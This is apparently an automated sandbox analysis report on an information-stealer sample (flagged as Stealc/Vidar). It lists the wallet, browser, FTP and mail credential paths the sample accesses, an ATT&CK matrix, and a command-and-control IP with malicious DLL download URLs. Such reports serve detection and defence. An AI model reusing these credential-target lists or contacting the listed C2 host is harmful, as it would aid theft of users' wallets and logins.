Source: file.exe, 00000000.00000002.2076174463.00000000010A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2076174463.0000000001122000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\.C

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match	File source: 00000000.00000002.2076174463.0000000001108000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6456, type: MEMORYSTR

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.2a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2076174463.00000000010AE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2074918053.00000000002A1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1723219134.0000000004D00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6456, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 6456, type: MEMORYSTR

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C720C40 sqlite3_bind_zeroblob,	0_2_6C720C40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C720D60 sqlite3_bind_parameter_name,	0_2_6C720D60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C648EA0 sqlite3_clear_bindings,	0_2_6C648EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C720B40 sqlite3_bind_value,sqlite3_bind_int64,sqlite3_bind_double,sqlite3_bind_zeroblob,	0_2_6C720B40
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C646410 bind,WSAGetLastError,	0_2_6C646410
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C646070 PR_Listen,	0_2_6C646070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C64C050 sqlite3_bind_parameter_index,strlen,strncmp,strncmp,	0_2_6C64C050
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C64C030 sqlite3_bind_parameter_count,	0_2_6C64C030
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6460B0 listen,WSAGetLastError,	0_2_6C6460B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5D22D0 sqlite3_bind_blob,	0_2_6C5D22D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6463C0 PR_Bind,	0_2_6C6463C0

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	2 Process Injection	1 Masquerading	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Email Collection	21 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	24 Virtualization/Sandbox Evasion	LSASS Memory	641 Security Software Discovery	Remote Desktop Protocol	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	1 Extra Window Memory Injection	1 Disable or Modify Tools	Security Account Manager	24 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	4 Data from Local System	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	2 Process Injection	NTDS	2 Process Discovery	Distributed Component Object Model	Input Capture	114 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	2 Obfuscated Files or Information	Cached Domain Credentials	236 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Software Packing	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 Extra Window Memory Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	42%	ReversingLabs	Win32.Trojan.Generic
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner
C:\ProgramData\chrome.dll	0%	ReversingLabs
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\vcruntime140[1].dll	0%	ReversingLabs

Source	Detection	Scanner	Label
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	0%	URL Reputation	safe
http://polymer.github.io/AUTHORS.txt	0%	URL Reputation	safe
https://ogs.google.com/widget/callout?eom=1	0%	URL Reputation	safe
https://drive-daily-2.corp.google.com/	0%	URL Reputation	safe
http://polymer.github.io/PATENTS.txt	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://drive-daily-1.corp.google.com/	0%	URL Reputation	safe
https://drive-daily-5.corp.google.com/	0%	URL Reputation	safe
https://chromewebstore.google.com/	0%	URL Reputation	safe
https://drive-preprod.corp.google.com/	0%	URL Reputation	safe
https://docs.rs/getrandom#nodejs-es-module-support	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
plus.l.google.com	142.250.186.174	true	false	unknown
play.google.com	216.58.206.46	true	false	unknown
www.google.com	142.250.185.132	true	false	unknown
apis.google.com	unknown	unknown	false	unknown

Contacted URLs

Name	Malicious	Reputation
http://185.215.113.206/	true	unknown
http://185.215.113.206/6c4adf523b719729.php	true	unknown
http://185.215.113.206/746f34465cf17784/softokn3.dll	true	unknown
http://185.215.113.206/746f34465cf17784/freebl3.dll	true	unknown
https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0	false	unknown
http://185.215.113.206/746f34465cf17784/mozglue.dll	true	unknown
http://185.215.113.206/746f34465cf17784/nss3.dll	true	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://185.215.113.206/6c4adf523b719729.phpRF	file.exe, 00000000.00000002.2076174463.0000000001108000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/chrome_newtab	chrome.exe, 00000001.00000002.1918356692.00002F340443C000.00000004.00000800.00020000.00000000.sdmp, JKKFIIEB.0.dr	false	URL Reputation: safe	unknown
https://mail.google.com/mail/?usp=installed_webapp	chrome.exe, 00000001.00000002.1921266248.00002F3404AE2000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://google-ohttp-relay-join.fastly-edge.com/(	chrome.exe, 00000001.00000003.1846548350.00002F3405FAC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1846429303.00002F3405FA8000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/ac/?q=	chrome.exe, 00000001.00000002.1921908603.00002F3404BC4000.00000004.00000800.00020000.00000000.sdmp, JKKFIIEB.0.dr	false	URL Reputation: safe	unknown
https://google-ohttp-relay-join.fastly-edge.com/.	chrome.exe, 00000001.00000003.1846548350.00002F3405FAC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1846429303.00002F3405FA8000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://safebrowsing.google.com/safebrowsing/clientreport/chrome-sct-auditing	chrome.exe, 00000001.00000002.1918754431.00002F34044AC000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://clients3.google.com/cast/chromecast/home/wallpaper/image?rt=b	chrome.exe, 00000001.00000002.1921613932.00002F3404B70000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://docs.google.com/document/J	chrome.exe, 00000001.00000002.1921266248.00002F3404AE2000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://myaccount.google.com/find-your-phone?utm_source=ga-chrome-actions&utm_medium=findYourPhone	chrome.exe, 00000001.00000002.1920371053.00002F34048AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1925992264.00002F34053E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1922638446.00002F3404D5C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1921512602.00002F3404B30000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/4633	chrome.exe, 00000001.00000002.1923669673.00002F3404FD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1814992609.00002F340479C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1817773652.00002F3404C38000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1817747407.00002F340479C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://google-ohttp-relay-join.fastly-edge.com/5	chrome.exe, 00000001.00000003.1846548350.00002F3405FAC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1846429303.00002F3405FA8000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://anglebug.com/7382	chrome.exe, 00000001.00000002.1923669673.00002F3404FD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1814992609.00002F340479C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1817773652.00002F3404C38000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1817747407.00002F340479C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	file.exe, 00000000.00000002.2076174463.0000000001164000.00000004.00000020.00020000.00000000.sdmp, HDGIEBGHDAEBGDGCFIID.0.dr	false	URL Reputation: safe	unknown
https://google-ohttp-relay-join.fastly-edge.com/;	chrome.exe, 00000001.00000003.1846548350.00002F3405FAC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1846429303.00002F3405FA8000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://issuetracker.google.com/284462263	chrome.exe, 00000001.00000003.1817747407.00002F340479C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/6c4adf523b719729.phprowser	file.exe, 00000000.00000002.2076174463.0000000001122000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/746f34465cf17784/sqlite3.dllO	file.exe, 00000000.00000002.2076174463.0000000001122000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://keep.google.com/u/0/?usp=chrome_actions#NEWNOTEkly	chrome.exe, 00000001.00000002.1922096025.00002F3404C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1924036674.00002F3405098000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1921908603.00002F3404BC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1920410486.00002F34048CC000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://publickeyservice.gcp.privacysandboxservices.com	chrome.exe, 00000001.00000003.1844589337.00002F3405A0C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://polymer.github.io/AUTHORS.txt	chrome.exe, 00000001.00000003.1824623210.00002F340480C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1822755161.00002F340536C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1823949780.00002F34050D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1824157370.00002F3404C38000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1824283751.00002F340539C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1823011624.00002F3405344000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1919756244.00002F34046F0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1824119571.00002F3404B24000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1825042907.00002F340560C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1822868643.00002F3405448000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1824762755.00002F34054D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1822944046.00002F3405498000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1823046843.00002F3405464000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://docs.google.com/	chrome.exe, 00000001.00000003.1809864378.00002F34048A0000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://docs.google.com/document/:	chrome.exe, 00000001.00000002.1921266248.00002F3404AE2000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://publickeyservice.pa.aws.privacysandboxservices.com	chrome.exe, 00000001.00000003.1844589337.00002F3405A0C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://photos.google.com/settings?referrer=CHROME_NTP	chrome.exe, 00000001.00000002.1922824464.00002F3404DEF000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1922786096.00002F3404DC4000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://anglebug.com/7714	chrome.exe, 00000001.00000002.1923669673.00002F3404FD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1814992609.00002F340479C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1817773652.00002F3404C38000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1817747407.00002F340479C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://unisolated.invalid/	chrome.exe, 00000001.00000002.1922892220.00002F3404DF8000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://photos.google.com?referrer=CHROME_NTP	chrome.exe, 00000001.00000003.1824623210.00002F340480C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1825042907.00002F340560C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1824762755.00002F34054D0000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.google.com/chrome/tips/	chrome.exe, 00000001.00000002.1923250025.00002F3404ECC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1922314051.00002F3404C94000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1919319924.00002F34045C4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1922674437.00002F3404D70000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://drive.google.com/?lfhs=2	chrome.exe, 00000001.00000002.1921266248.00002F3404AE2000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/6248	chrome.exe, 00000001.00000002.1923669673.00002F3404FD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1814992609.00002F340479C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1817773652.00002F3404C38000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1817747407.00002F340479C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://ogs.google.com/widget/callout?eom=1	chrome.exe, 00000001.00000003.1842602939.00002F340587C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://anglebug.com/6929	chrome.exe, 00000001.00000002.1923669673.00002F3404FD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1814992609.00002F340479C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1817773652.00002F3404C38000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1817747407.00002F340479C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anglebug.com/5281	chrome.exe, 00000001.00000002.1923669673.00002F3404FD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1814992609.00002F340479C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1817773652.00002F3404C38000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1817747407.00002F340479C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/6c4adf523b719729.phpenSSH	file.exe, 00000000.00000002.2076174463.0000000001108000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.youtube.com/?feature=ytca	chrome.exe, 00000001.00000002.1921266248.00002F3404AE2000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94	file.exe, 00000000.00000002.2076174463.0000000001164000.00000004.00000020.00020000.00000000.sdmp, HDGIEBGHDAEBGDGCFIID.0.dr	false		unknown
https://google-ohttp-relay-join.fastly-edge.com/d	chrome.exe, 00000001.00000003.1846429303.00002F3405FA8000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://issuetracker.google.com/255411748	chrome.exe, 00000001.00000003.1817747407.00002F340479C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://docs.google.com/document/u/0/create?usp=chrome_actions	chrome.exe, 00000001.00000002.1922096025.00002F3404C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1924036674.00002F3405098000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1921908603.00002F3404BC4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000002.1920410486.00002F34048CC000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://anglebug.com/7246	chrome.exe, 00000001.00000002.1923669673.00002F3404FD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1814992609.00002F340479C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1817773652.00002F3404C38000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1817747407.00002F340479C000.00000004.00000800.00020000.00000000.sdmp	false		unknown
